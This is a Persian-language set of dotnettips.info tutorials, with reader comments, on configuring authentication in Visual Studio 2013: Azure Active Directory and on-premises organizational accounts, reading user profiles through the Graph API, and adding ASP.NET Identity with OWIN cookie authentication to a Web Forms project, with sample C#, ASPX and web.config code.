یک راه دیگر انتخاب گزینه On-Premises زیر شاخه Organizational Accounts است. این گزینه بجای استفاده از ماژول Windows Authentication از فریم ورک Windows Identity Foundation برای احراز هویت استفاده می‌کند. انجام چند مرحله دستی برای پیکربندی این گزینه لازم است، اما WIF امکاناتی را عرضه می‌کند که در ماژول احراز هویت ویندوز وجود ندارند. برای مثال، هنگام استفاده از WIF می‌توانید تنظیمات لازم را در Active Directory انجام دهید تا قادر به واکشی اطلاعات پوشه‌ها باشید (directory data querying).

گزینه‌های احراز هویت Organizational Accounts

دیالوگ **Configure Authentication** گزینه‌های متعددی برای احراز هویت توسط (Windows Azure Active Directory including Office 365) و Windows Server Active Directory در اختیارتان می‌گذارد:

Cloud - Single Organization

Cloud - Multi Organization

On-Premises

اگر می‌خواهید یکی از گزینه‌های WAAD را امتحان کنید اما حساب کاربری ای ندارید، روی این لینک کلیک کنید تا ثبت نام کنید.

نکته: اگر یکی از گزینه‌های WAAD را انتخاب کنید، باید اطلاعات هویتی (Credentials) یک مدیر کل را وارد کنید. برای نسخه نهایی Visual Studio 2013 برنامه هایی وجود دارد تا دیگر نیازی نباشد چنین مراحلی را تکمیل کنید. در این صورت ویژوال استودیو تنظیماتی را نمایش خواهد داد که یک مدیر می‌تواند بعدا از آنها استفاده کند تا اپلیکیشن را بصورت دستی در WAAD پیکربندی کند.

Cloud - Single Organization Authentication

از این گزینه برای احراز هویت کاربرانی استفاده کنید که در قالب یک OWIN Tenant تعریف می‌شوند. برای مثال سایتی با نام Company.com داریم که برای کارمندان این سازمان از طریق company.onmicrosoft.com قابل دسترسی خواهد بود. نمی‌توانید WAAD را طوری پیکربندی کنید که کاربران tenantهای دیگر نیز به اپلیکیشن شما دسترسی داشته باشند.

Domain

نام دامنه‌ای در WAAD که می‌خواهید اپلیکیشن را برای آن پیکربندی کنید، مثلا company.onmicrosoft.com. اگر از custom domain

ها استفاده می‌کنید مانند company.com بجای company.onmicrosoft.com می‌توانید این اطلاعات را اینجا وارد کنید.

سطح دسترسی

اگر اپلیکیشن نیاز به کوئری گرفتن یا بروز رسانی اطلاعات پوشه‌ها (directory information) را توسط Graph API دارد، از گزینه‌های **Single Sign-On, Read Directory Data** و یا **Single Sign-On, Read and Write Directory Data** استفاده کنید. در غیر اینصورت گزینه **Single Sign-On** را رها کنید. برای اطلاعات بیشتر به Application Access Levels و Using the Graph API to Query Windows Azure AD مراجعه کنید.

Application ID URI

بصورت پیش فرض، قالب پروژه یک شناسه application ID URI برای شما تولید می‌کند، که این کار با الحاق نام پروژه شما به نام دامنه WAAD صورت می‌گیرد. برای مثال، اگر نام پروژه Example باشد و نام دامنه contoso.onmicrosoft.com، شناسه خروجی https://contoso.onmicrosoft.com/Example می‌شود. اگر می‌خواهید بصورت دستی این فیلد را مقدار دهی کنید، گزینه **More Options** را انتخاب کنید. این شناسه باید با https:// شروع شود.

بصورت پیش فرض، اگر اپلیکیشنی که در WAAD تهیه و تدارک دیده شده است، شناسه‌ای یکسان با شناسه موجود در پروژه Visual Studio داشته باشد، پروژه شما به اپلیکیشن موجود در WAAD متصل خواهد شد. اگر می‌خواهید تدارکات جدیدی ببینید تیک گزینه **Overwrite the application entry if one with the same ID already exists** را حذف کنید.

اگر تیک این گزینه حذف شده باشد، و ویژوال استودیو اپلیکیشنی با شناسه‌ای یکسان را پیدا کند، عددی به آخر URI اضافه خواهد شد. مثلا فرض کنید نام پروژه Example است و اپلیکیشنی نیز با شناسه https://contoso.onmicrosoft.com/Example در WAAD وجود دارد. در این صورت اپلیکیشن جدیدی با شناسه ای مانند https://contoso.onmicrosoft.com/Example_ 20130619330903 ایجاد می‌شود.

تهیه و تدارک اپلیکیشن در WAAD

برای آنکه یک اپلیکیشن WAAD ایجاد کنید و یا پروژه را به یک اپلیکیشن موجود متصل کنید، ویژوال استودیو به اطلاعات ورود یک مدیر کل برای دامنه مورد نظر، نیاز دارد. هنگامی که در دیالوگ **Configure Authentication** روی **OK** کلیک می‌کنید، اطلاعات ورود یک مدیر کل از شما درخواست می‌شود و نهایتا هنگامیکه روی **Create Project** کلیک می‌کنید، ویژوال استودیو اپلیکیشن شما را در WAAD پیکربندی می‌کند.

برای اطلاعات بیشتر درباره نحوه استفاده از مدل احراز هویت **Cloud - Single Organization** به لینک‌های زیر مراجعه فرمایید:
Windows Azure Authentication

Adding Sign-On to Your Web Application Using Windows Azure AD

Developing ASP.NET Apps with Windows Azure Active Directory

مقالات مذکور برای ویژوال استودیو 2013 بروز رسانی نشده اند. برخی از مراحلی که در این مقالات بصورت دستی باید انجام شوند در Visual Studio 2013 مکانیزه شده است.

Cloud - Multi Organization Authentication

از این گزینه برای احراز هویت کاربرانی استفاده کنید که در WAADtenantهای متعددی تعریف شده‌اند. برای مثال، نام سایت contoso.com است و برای کارمندان دو سازمان از طریق آدرس‌های contoso.onmicrosoft.com و fabrikam.onmicrosoft.com قابل دسترسی خواهد بود. نحوه پیکربندی این مدل نیز مانند قسمت قبلی است.

برای اطلاعات بیشتر درباره احراز هویت **Cloud - Multi Organization** به لینک‌های زیر مراجعه کنید:

Easy Web App Integration with Windows Azure Active Directory, ASP.NET & Visual Studio

Developing Multi-Tenant Web Applications with Windows Azure AD

On-Premises Organizational Accounts

این گزینه را هنگامی انتخاب کنید که کاربران در Windows Server Active Directory (AD) تعریف شده اند و نمی‌خواهید از WAAD استفاده کنید. از این مدل برای ایجاد وب سایت‌های اینترنت و اینترانت می‌توانید استفاده کنید. برای یک وب سایت اینترنتی از Active Directory Federation Services (ADFS) استفاده کنید.

برای یک وب سایت اینترانتی، می‌توانید کلا این گزینه را رها کنید و از Windows Authentication استفاده کنید. در صورت استفاده از گزینه Windows Authentication لازم نیست تا آدرس سند متادیتا (metadata document URL) را فراهم کنید، همچنین توجه داشته باشید که Windows Authentication امکان کوئری گرفتن از پوشه‌ها و کنترل سطوح دسترسی در Active Directory را ندارد.

On-Premises Authority

آدرس سند متادیتا. این سند اطلاعاتی درباره مختصات Authority دارد که اپلیکیشن از آنها برای به پیش بردن روند احراز هویت و ورود به سایت استفاده می‌کند.

Application ID URI

یک شناسه منحصر به فرد که AD از آن برای شناسایی اپلیکیشن استفاده می‌کند. می‌توانید این فیلد را خالی رها کنید تا ویژوال استودیو بصورت خودکار اپلیکیشنی بدین منظور بسازد.

قدم‌های بعدی

در این مقاله با مدل‌های مختلف احراز هویت در اپلیکیشن‌های Visual Studio 2013 آشنا شدید و برخی تغییرات و امکانات جدید نیز بررسی شدند. برای اطلاعات تکمیلی به ASP.NET and Web Tools for Visual Studio 2013 Release Notes مراجعه کنید.

نظرات خوانندگان

نویسنده: هومن
تاریخ: ۱۳۹۳/۰۳/۱۹ ۱۹:۵۴

سلام
- بابت مطلب خوبتون ممنون.من یه سوال داشتم ، در پورتال‌های سازمانی و در حالتی که نیاز نداریم پالیسی رو از اکتیو بخونیم ، بهتره از حالت آخر یعنی Windows Authentication استفاده کنیم درسته؟
من از این حالت استفاده کردم، و یک مشکل و یک سوال برام پیش اومده...
- مشکلم اینه که در سیستمی که با یوزر اکتیو بالا اومده خوب کار میکنه و یوزر رو تشخیص میده، اما روی لپتاپم چون لوکال هست و طبیعیه اکتیو دایرکتوری موجود نیست نمیتونه یوزر رو تشخیص بده(پنجره لاگین مرورگر را باز میکند) و من نمیتونم برناممو گسترش بدم و برای تست نیاز به اجرای برنامه دارم ، این مشکلو چجوری برطرف کنم؟
- سوالم اینه که ما هیچ کجا اسم دامین یا آی پی سرور رو به برنامه نمیدیم ، پس سیستم احراز هویت چجوری دامین رو تشخیص میده و باهاش کار میکنه ؟

نویسنده: محسن خان
تاریخ: ۱۳۹۳/۰۳/۲۰ ۹:۱۸

اگر از IE استفاده کنید، مشکلی نباید باشه. چون IE با سیستم اعتبارسنجی مبتنی بر ویندوز یکپارچه هست. اگر با IE صفحه لاگین مرورگر باز میشه، به تنظیمات امنیتی اون مراجعه کنید و سایت رو در قسمت trusted sites اضافه کنید:
http://support.microsoft.com/kb/258063

سمت سرور هم باید در تنظیمات IIS، گزینه‌ی اعتبارسنجی مبتنی بر ویندوز فعال باشه:

http://www.asp.net/mvc/tutorials/older-versions/security/authenticating-users-with-windows-authentication-cs

عنوان: **توسعه اپلیکیشن های ASP.NET با Windows Azure Active Directory**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۵ ۵:۱۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Visual Studio 2013, ASP.NET Identity, Windows Azure Active Directory, Security

ابزار ASP.NET برای Windows Azure Active Directory فعال کردن احراز هویت در وب اپلیکیشن هایی که روی Windows Azure Web Sites میزبانی شده اند را ساده‌تر می‌کند. می‌توانید از Windows Azure Authentication برای احراز هویت کاربران Office 365 استفاده کنید، حساب‌های کاربری را از On-Premise Active Directory خود همگام سازی (Sync) کنید و یا از یک دامنه سفارشی Windows Azure Active Directory بهره ببرید. فعال سازی Windows Azure Authentication، اپلیکیشن شما را طوری پیکربندی می‌کند تا تمامی کاربران را با استفاده از یک Windows Azure Active Directory tenant احراز هویت کند.
این مقاله ساختن یک اپلیکیشن ASP.NET را که بر اساس organizational accounts پیکربندی شده و بر روی Windows Azure Active Directory میزبانی می‌شود، مرور می‌کند.
پیش نیاز ها

Visual Studio Express 2013 RC for Web یا Visual Studio 2013 RC

یک حساب کاربری در Windows Azure. می‌توانید یک حساب رایگان بسازید .

یک مدیر کلی به حساب کاربری Active Directory خود اضافه کنید

وارد Windows Azure Portal شوید.
یک حساب کاربری Windows Azure Active Directory (AD) انتخاب یا ایجاد کنید. اگر قبلا حساب کاربری ساخته اید از همان استفاده کنید در غیر اینصورت یک حساب جدید ایجاد کنید. مشترکین Windows Azure یک AD پیش فرض با نام **Default Directory** خواهند داشت.
در حساب کاربری AD خود یک کاربر جدید در نقش Global Administrator بسازید. اکانت AD خود را انتخاب کنید و **Add User** را کلیک کنید. برای اطلاعات کامل‌تر به Managing Windows Azure AD from the Windows Azure Portal 1- Sign Up with an Organizational Account مراجعه کنید.

یک نام کاربری انتخاب کرده و به مرحله بعد بروید.

نام کاربری را وارد کنید و نقش **Global Administrator** را به آن اختصاص دهید. مدیران کلی به یک آدرس ایمیل متناوب هم نیاز دارند. به مرحله بعد بروید.

بر روی **Create** کلیک کنید و کلمه‌ی عبور موقتی را کپی کنید. پس از اولین ورود باید کلمه عبور را تغییر دهید.

یک اپلیکیشن ASP.NET بسازید

در ویژوال استودیو یک پروژه جدید ASP.NET Web Forms یا MVC بسازید و روی **Change Authentication** کلیک کنید.

گزینه **Organizational Accounts** را انتخاب کنید. نام دامنه خود را وارد کنید و سپس گزینه **Single Sign On, Read directory data** را انتخاب کنید. به مرحله بعد بروید.

نکته: در قسمت **More Options** می توانید قلمرو اپلیکیشن (Application ID URI) را تنظیم کنید. تنظیمات پیش فرض برای اکثر

کاربران مناسب است اما در صورت لزوم می‌توانید آنها را ویرایش کنید، مثلا از طریق Windows Azure Portal دامنه‌های سفارشی خودتان را تنظیم کنید.

اگر گزینه **Overwrite** را انتخاب کنید اپلیکیشن جدیدی در Windows Azure برای شما ساخته خواهد شد. در غیر اینصورت فریم ورک سعی می‌کند اپلیکیشنی با شناسه یکسان پیدا کند (در پست متدهای احراز هویت در VS 2013 به تنظیمات این قسمت پرداخته شده).

اطلاعات مدیر کلی دامنه در Active Directory خود را وارد کنید (Credentials) و پروژه را با کلیک کردن بر روی **Create Project** بسازید.

با کلیدهای ترکیبی Ctrl + F5، اپلیکیشن را اجرا کنید. مرورگر شما باید یک اخطار SSL Certificate به شما بدهد. این بدین دلیل است که مدرک استفاده شده توسط IIS Express مورد اعتماد (trusted) نیست. این اخطار را بپذیرید و اجازه اجرا را به آن بدهید. پس از آنکه اپلیکیشن خود را روی Windows Azure منتشر کردید، این پیغام دیگر تولید نمی‌شود؛ چرا که Certificateهای استفاده شده trusted هستند.

با حساب کاربری سازمانی (organizational account) که ایجاد کرده‌اید، وارد شوید.

همانطور که مشاهده می‌کنید هم اکنون به سایت وارد شده اید.

توزیع اپلیکیشن روی Windows Azure

در Windows Azure Portal یک وب سایت را به‌همراه یک دیتابیس، ایجاد کنید. در پانل سمت چپ صفحه روی **Websites** کلیک کنید و بعد **New** را انتخاب کنید. سپس گزینه **Custom Create** را برگزینید.

اپلیکیشن را روی Windows Azure منتشر کنید. روی پروژه کلیک راست کرده و **Publish** را انتخاب کنید. در مرحله تنظیمات (Settings) مشاهده می‌کنید که احراز هویت حساب‌های سازمانی (organizational accounts) فعال است. همچنین سطح دسترسی به خواندن تنظیم شده است. در قسمت Database رشته اتصال دیتابیس را تنظیم کنید.

حال به وب سایت Windows Azure خود بروید و توسط حساب کاربری ایجاد شده وارد سایت شوید. در این مرحله دیگر نباید خطای امنیتی SSL را دریافت کنید.

خواندن اطلاعات پروفایل کاربران توسط Graph API

قالب پروژه ویژوال استودیو برای organizational accounts یک متد و نما بنام UserProfile به پروژه اضافه کرده است.

```
[Authorize]
```

```
public async Task<ActionResult> UserProfile()
{
    string tenantId = ClaimsPrincipal.Current.FindFirst(TenantSchema).Value;

    // Get a token for calling the Windows Azure Active Directory Graph
    AuthenticationContext authContext = new
AuthenticationContext(String.Format(CultureInfo.InvariantCulture, LoginUrl, tenantId));
    ClientCredential credential = new ClientCredential(AppPrincipalId, AppKey);
    AuthenticationResult assertionCredential = authContext.AcquireToken(GraphUrl, credential);
    string authHeader = assertionCredential.CreateAuthorizationHeader();
    string requestUrl = String.Format(
        CultureInfo.InvariantCulture,
        GraphUserUrl,
        HttpUtility.UrlEncode(tenantId),
        HttpUtility.UrlEncode(User.Identity.Name));

    HttpClient client = new HttpClient();
    HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Get, requestUrl);
    request.Headers.TryAddWithoutValidation("Authorization", authHeader);
    HttpResponseMessage response = await client.SendAsync(request);
    string responseString = await response.Content.ReadAsStringAsync();
    UserProfile profile = JsonConvert.DeserializeObject<UserProfile>(responseString);

    return View(profile);
}
```

کلیک کردن لینک **UserProfile** اطلاعات پروفایل کاربر جاری را نمایش می‌دهد.

اطلاعات بیشتر

Managing Windows Azure AD from the Windows Azure Portal 1– Sign Up with an Organizational Account

Adding Sign-On to Your Web Application Using Windows Azure AD

Using the Graph API to Query Windows Azure AD

نظرات خوانندگان

نویسنده: حسین
تاریخ: ۱۳۹۲/۱۰/۱۵ ۱۲:۲۰

خیلی ممنون از زحمات شما
چند وقت پیش قصد داشتم ثبت نام کنم، زمانی که میخواهید حساب کاربری ایجاد کنید نیاز به شماره موبایل داره تا اجازه بده مراحل ثبت نام کامل بشه ولی اصلا امکان انتخاب کشور ایران وجود ندارد و موفق نشدم

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۶ ۱۳:۱۴

از حساب‌های کاربری مایکروسافت می تونید استفاده کنید.

نویسنده: بهروز
تاریخ: ۱۳۹۲/۱۰/۱۹ ۱۲:۱

ممنون بابت مطلب خوبتون.

لطفا یکم شفاف‌تر بگین که چطور برا تو حساب کاربری ایجاد کنیم؟ من هرکاری میکنم این صفحه میاد!
https://manage.windowsazure.com/Error/NoSubscriptions

نویسنده: کامران سادین
تاریخ: ۱۳۹۲/۱۱/۱۲ ۴:۲۲

سلام. من شماره موبایل هم دادم اما اطلاعات مستر کارت و ویزا کارت میخواد!

عنوان: **افزودن ASP.NET Identity به یک پروژه Web Forms**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۸ ۱۳:۴۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, Entity framework, Security, ASP.Net MVC, ASP.NET Identity, Forms Authentication

با نصب و اجرای Visual Studio 2013 Express for Web یا Visual Studio 2013 شروع کنید.

یک پروژه جدید بسازید (از صفحه شروع یا منوی فایل)

گزینه Visual C# و سپس **ASP.NET Web Application** را انتخاب کنید. نام پروژه را به "WebFormsIdentity" تغییر داده و OK کنید.

در دیالوگ جدید ASP.NET گزینه **Empty** را انتخاب کنید.

دقت کنید که دکمه **Change Authentication** غیرفعال است و هیچ پشتیبانی ای برای احراز هویت در این قالب پروژه وجود ندارد.

افزودن پکیج‌های ASP.NET Identity به پروژه

روی نام پروژه کلیک راست کنید و گزینه **Manage NuGet Packages** را انتخاب کنید. در قسمت جستجوی دیالوگ باز شده عبارت "Identity.E" را وارد کرده و این پکیج را نصب کنید.

دقت کنید که نصب کردن این پکیج وابستگی‌ها را نیز بصورت خودکار نصب می‌کند: Entity Framework و ASP.NET Idenity Core.

افزودن فرم‌های وب لازم برای ثبت نام کاربران

یک فرم وب جدید بسازید.

در دیالوگ باز شده نام فرم را به **Register** تغییر داده و تایید کنید.

فایل ایجاد شده جدید را باز کرده و کد Markup آن را با قطعه کد زیر جایگزین کنید.

```
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Register.aspx.cs"
Inherits="WebFormsIdentity.Register" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
```

```
</head>
<body style="
    <form id="form1" runat="server">
    <div>
        <h4 style="Register a new user</h4>
        <hr />
        <p>
            <asp:Literal runat="server" ID="StatusMessage" />
        </p>
        <div style="margin-bottom:10px">
            <asp:Label runat="server" AssociatedControlID="UserName">User name</asp:Label>
            <div>
                <asp:TextBox runat="server" ID="UserName" />
            </div>
        </div>
        <div style="margin-bottom:10px">
            <asp:Label runat="server" AssociatedControlID="Password">Password</asp:Label>
            <div>
                <asp:TextBox runat="server" ID="Password" TextMode="Password" />
            </div>
        </div>
        <div style="margin-bottom:10px">
            <asp:Label runat="server" AssociatedControlID="ConfirmPassword">Confirm
password</asp:Label>
            <div>
                <asp:TextBox runat="server" ID="ConfirmPassword" TextMode="Password" />
            </div>
        </div>
        <div>
            <div>
                <asp:Button runat="server" OnClick="CreateUser_Click" Text="Register" />
            </div>
        </div>
    </div>
    </form>
</body>
</html>
```

این تنها یک نسخه ساده شده *Register.aspx* است که از چند فیلد فرم و دکمه ای برای ارسال آنها به سرور استفاده می‌کند.

فایل کد این فرم را باز کرده و محتویات آن را با قطعه کد زیر جایگزین کنید.

```
using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.EntityFramework;
using System;
using System.Linq;

namespace WebFormsIdentity
{
   public partial class Register : System.Web.UI.Page
   {
      protected void CreateUser_Click(object sender, EventArgs e)
      {
         // Default UserStore constructor uses the default connection string named: DefaultConnection
         var userStore = new UserStore<IdentityUser>();
         var manager = new UserManager<IdentityUser>(userStore);

         var user = new IdentityUser() { UserName = UserName.Text };
         IdentityResult result = manager.Create(user, Password.Text);

         if (result.Succeeded)
         {
            StatusMessage.Text = string.Format("User {0} was created successfully!", user.UserName);
         }
         else
         {
            StatusMessage.Text = result.Errors.FirstOrDefault();
         }
      }
   }
}
```

کد این فرم نیز نسخه ای ساده شده است. فایلی که بصورت خودکار توسط VS برای شما ایجاد می‌شود متفاوت است.

کلاس *IdentityUser* پیاده سازی پیش فرض EntityFramework از قرارداد IUser است. قرارداد IUser تعریفات حداقلی یک کاربر در ASP.NET Identity Core را در بر می‌گیرد.

کلاس *UserStore* پیاده سازی پیش فرض EF از یک فروشگاه کاربر (user store) است. این کلاس چند قرارداد اساسی ASP.NET Identity Core را پیاده سازی می‌کند: *IUserClaimStore*, *IUserLoginStore*, *IUserStore* و *IUserRoleStore*.

کلاس *UserManager* دسترسی به APIهای مربوط به کاربران را فراهم می‌کند. این کلاس تمامی تغییرات را بصورت خودکار در *UserStore* ذخیره می‌کند.

کلاس *IdentityResult* نتیجه یک عملیات هویتی را معرفی می‌کند (identity operations).

پوشه **App_Data** را به پروژه خود اضافه کنید.

فایل *Web.config* پروژه را باز کنید و رشته اتصال جدیدی برای دیتابیس اطلاعات کاربران اضافه کنید. این دیتابیس در زمان اجرا (runtime) بصورت خودکار توسط EF ساخته می‌شود. این رشته اتصال شبیه به رشته اتصالی است که هنگام ایجاد پروژه بصورت

خودکار برای شما تنظیم می‌شود.

```
<?xml version="1.0" encoding="utf-8"?>
<!--
  For more information on how to configure your ASP.NET application, please visit
  http://go.microsoft.com/fwlink/?LinkId=169433
  -->
<configuration>
  <configSections>
    <!-- For more information on Entity Framework configuration, visit
http://go.microsoft.com/fwlink/?LinkID=237468 -->
    <section name="entityFramework"
type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
   <connectionStrings>
      <add name="DefaultConnection" connectionString="Data
Source=(LocalDb)\v11.0;AttachDbFilename=|DataDirectory|\WebFormsIdentity.mdf;Initial
Catalog=WebFormsIdentity;Integrated Security=True"
            providerName="System.Data.SqlClient" />
   </connectionStrings>
  <system.web>
    <compilation debug="true" targetFramework="4.5" />
    <httpRuntime targetFramework="4.5" />
  </system.web>
  <entityFramework>
    <defaultConnectionFactory type="System.Data.Entity.Infrastructure.LocalDbConnectionFactory,
EntityFramework">
      <parameters>
        <parameter value="v11.0" />
      </parameters>
    </defaultConnectionFactory>
    <providers>
      <provider invariantName="System.Data.SqlClient"
type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
    </providers>
  </entityFramework>
</configuration>
```

همانطور که مشاهده می‌کنید نام این رشته اتصال *DefaultConnection* است.

روی فایل *Register.aspx* کلیک راست کنید و گزینه **Set As Start Page** را انتخاب کنید. اپلیکیشن خود را با کلیدهای ترکیبی Ctrl + F5 اجرا کنید که تمام پروژه را کامپایل نیز خواهد کرد. یک نام کاربری و کلمه عبور وارد کنید و روی **Register** کلیک کنید.

ASP.NET Identity از اعتبارسنجی نیز پشتیبانی می‌کند، مثلا در این مرحله می‌توانید از اعتبارسنج هایی که توسط ASP.NET Identity Core عرضه می‌شوند برای کنترل رفتار فیلدهای نام کاربری و کلمه عبور استفاده کنید. اعتبارسنج پیش فرض کاربران (User) که UserValidator نام دارد خاصیتی با نام AllowOnlyAlphanumericUserNames دارد که مقدار پیش فرضش هم true است. اعتبارسنج پیش فرض کلمه عبور (MinimumLengthValidator) اطمینان حاصل می‌کند که کلمه عبور حداقل 6 کاراکتر باشد. این اعتبارسنج‌ها بصورت propertyها در کلاس UserManager تعریف شده اند و می‌توانید آنها را overwrite کنید و اعتبارسنجی سفارشی خود را پیاده کنید. از آنجا که الگوی دیتابیس سیستم عضویت توسط Entity Framework مدیریت می‌شود، روی الگوی دیتابیس کنترل کامل دارید، پس از Data Annotations نیز می‌توانید استفاده کنید.

تایید دیتابیس LocalDbIdentity که توسط EF ساخته می‌شود

از منوی **View** گزینه **Server Explorer** را انتخاب کنید.

MvcAuth - Microsoft Visual Studio
FILE
EDIT
VIEW
PROJECT
BUILD
DEBUG
TEAM
TOOLS
Solution Explorer Ctrl+Alt+L
Team Explorer Ctrl+\, Ctrl+M
Server Explorer Ctrl+Alt+S
Architecture Explorer Ctrl+\, Ctrl+R
SQL Server Object Explorer Ctrl+\, Ctrl+S
Bookmark Window Ctrl+K, Ctrl+W
Call Hierarchy Ctrl+Alt+K
Class View Ctrl+Shift+C
Code Definition Window Ctrl+\, D
Document Outline Ctrl+Alt+T
Object Browser Ctrl+Alt+J
Error List Ctrl+\, E
Output Ctrl+Alt+O
Start Page
Task List Ctrl+\, T
Toolbox Ctrl+Alt+X
Notifications Ctrl+W, N
Find Results
Other Windows
Toolbars
Full Screen Shift+Alt+Enter
All Windows Shift+Alt+M
Properties Window F4
Property Pages Shift+F4

گره **DefaultConnection (WebFormsIdentity)** و سپس **Tables** را باز کنید. روی جدول **AspNetUsers** کلیک راست کرده و **Show Table Data** را انتخاب کنید.

پیکربندی اپلیکیشن برای استفاده از احراز هویت OWIN

تا این مرحله ما تنها امکان ایجاد حساب‌های کاربری را فراهم کرده ایم. حال نیاز داریم امکان احراز هویت کاربران برای ورود آنها به سایت را فراهم کنیم. ASP.NET Identity برای احراز هویت مبتنی بر فرم (forms authentication) از OWIN Authentication استفاده می‌کند. OWIN Cookie Authentication مکانیزمی برای احراز هویت کاربران بر اساس cookieها و claimها است (claims-based). این مکانیزم می‌تواند توسط Entity Framework روی OWIN یا IIS استفاده شود.

با چنین مدلی، می‌توانیم از پکیج‌های احراز هویت خود در فریم ورک‌های مختلفی استفاده کنیم، مانند ASP.NET MVC و ASP.NET Web Forms. برای اطلاعات بیشتر درباره پروژه Katana و نحوه اجرای آن بصورت Host Agnostic به لینک Getting Started with the Katana Project مراجعه کنید.

نصب پکیج‌های احراز هویت روی پروژه

روی نام پروژه خود کلیک راست کرده و **Manage NuGet Packages** را انتخاب کنید. در قسمت جستجوی دیالوگ باز شده عبارت "*Identity.Owin*" را وارد کنید و این پکیج را نصب کنید.

به دنبال پکیجی با نام *Microsoft.Owin.Host.SystemWeb* بگردید و آن را نیز نصب کنید.

پکیج **Microsoft.Aspnet.Identity.Owin** حاوی یک سری کلاس Owin Extension است و امکان مدیریت و پیکربندی OWIN Authentication در پکیج‌های ASP.NET Identity Core را فراهم می‌کند.

پکیج **Microsoft.Owin.Host.SystemWeb** حاوی یک سرور OWIN است که اجرای اپلیکیشن‌های مبتنی بر OWIN را روی IIS و با استفاده از ASP.NET Request Pipeline ممکن می‌سازد. برای اطلاعات بیشتر به OWIN Middleware in the IIS integrated pipeline مراجعه کنید.

افزودن کلاس‌های پیکربندی Startup و Authentication

روی پروژه خود کلیک راست کرده و گزینه **Add** و سپس **Add New Item** را انتخاب کنید. در قسمت جستجوی دیالوگ باز شده عبارت "owin" را وارد کنید. نام کلاس را "*Startup*" تعیین کرده و تایید کنید.

فایل Startup.cs را باز کنید و قطعه کد زیر را با محتویات آن جایگزین کنید تا احراز هویت OWIN Cookie Authentication پیکربندی شود.

```
using Microsoft.AspNet.Identity;
using Microsoft.Owin;
using Microsoft.Owin.Security.Cookies;
using Owin;

[assembly: OwinStartup(typeof(WebFormsIdentity.Startup))]

namespace WebFormsIdentity
{
   public class Startup
   {
      public void Configuration(IAppBuilder app)
      {
         // For more information on how to configure your application, visit
http://go.microsoft.com/fwlink/?LinkID=316888
         app.UseCookieAuthentication(new CookieAuthenticationOptions
         {
            AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
            LoginPath = new PathString("/Login")
         });
      }
   }
}
```

این کلاس حاوی خاصیت OwinAttribute است که کلاس راه انداز OWIN را نشانه گذاری می‌کند. هر اپلیکیشن OWIN یک کلاس راه انداز (startup) دارد که توسط آن می‌توانید کامپوننت‌های application pipeline را مشخص کنید. برای اطلاعات بیشتر درباره این مدل، به OWIN Startup Class Detection مراجعه فرمایید.

افزودن فرم‌های وب برای ثبت نام و ورود کاربران

فایل *Register.cs* را باز کنید و قطعه کد زیر را وارد کنید. این قسمت پس از ثبت نام موفقیت آمیز کاربر را به سایت وارد می‌کند.

```
using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.EntityFramework;
using Microsoft.Owin.Security;
using System;
using System.Linq;
using System.Web;

namespace WebFormsIdentity
{
   public partial class Register : System.Web.UI.Page
   {
      protected void CreateUser_Click(object sender, EventArgs e)
      {
         // Default UserStore constructor uses the default connection string named: DefaultConnection
         var userStore = new UserStore<IdentityUser>();
         var manager = new UserManager<IdentityUser>(userStore);
         var user = new IdentityUser() { UserName = UserName.Text };

         IdentityResult result = manager.Create(user, Password.Text);

         if (result.Succeeded)
         {
            var authenticationManager = HttpContext.Current.GetOwinContext().Authentication;
            var userIdentity = manager.CreateIdentity(user,
DefaultAuthenticationTypes.ApplicationCookie);
            authenticationManager.SignIn(new AuthenticationProperties() { }, userIdentity);
            Response.Redirect("~/Login.aspx");
         }
         else
         {
            StatusMessage.Text = result.Errors.FirstOrDefault();
         }
      }
   }
}
```

از آنجا که ASP.NET Identity و OWIN Cookie Authentication هر دو مبتنی بر Claims هستند، فریم ورک از برنامه نویس اپلیکیشن انتظار دارد تا برای کاربر یک آبجکت از نوع ClaimsIdentity تولید کند. این آبجکت تمام اطلاعات اختیارات کاربر را در بر می‌گیرد، مثلا اینکه کاربر به چه نقش هایی تعلق دارد. همچنین در این مرحله می‌توانید اختیارات (Claims) جدیدی به کاربر اضافه کنید.

شما با استفاده از AuthenticationManager که متعلق به OWIN است می‌توانید کاربر را به سایت وارد کنید. برای این کار شما متد SignIn را فراخوانی می‌کنید و آبجکتی از نوع ClaimsIdentity را به آن پاس می‌دهید. این کد کاربر را به سایت وارد می‌کند و یک کوکی برای او می‌سازد. این فراخوانی معادل همان FormAuthentication.SetAuthCookie است که توسط ماژول FormsAuthentication استفاده می‌شود.

روی پروژه خود کلیک راست کرده، فرم وب جدیدی با نام **Login** بسازید.

فایل *Login.aspx* را باز کنید و کد Markup آن را مانند قطعه کد زیر تغییر دهید.

```
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs"
Inherits="WebFormsIdentity.Login" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
   <title></title>
</head>
<body style="font-family: Arial, Helvetica, sans-serif; font-size: small">
   <form id="form1" runat="server">
      <div>
```

```
         <h4 style="font-size: medium">Log In</h4>
         <hr />
         <asp:PlaceHolder runat="server" ID="LoginStatus" Visible="false">
            <p>
               <asp:Literal runat="server" ID="StatusText" />
            </p>
         </asp:PlaceHolder>
         <asp:PlaceHolder runat="server" ID="LoginForm" Visible="false">
            <div style="margin-bottom: 10px">
               <asp:Label runat="server" AssociatedControlID="UserName">User name</asp:Label>
               <div>
                  <asp:TextBox runat="server" ID="UserName" />
               </div>
            </div>
            <div style="margin-bottom: 10px">
               <asp:Label runat="server" AssociatedControlID="Password">Password</asp:Label>
               <div>
                  <asp:TextBox runat="server" ID="Password" TextMode="Password" />
               </div>
            </div>
            <div style="margin-bottom: 10px">
               <div>
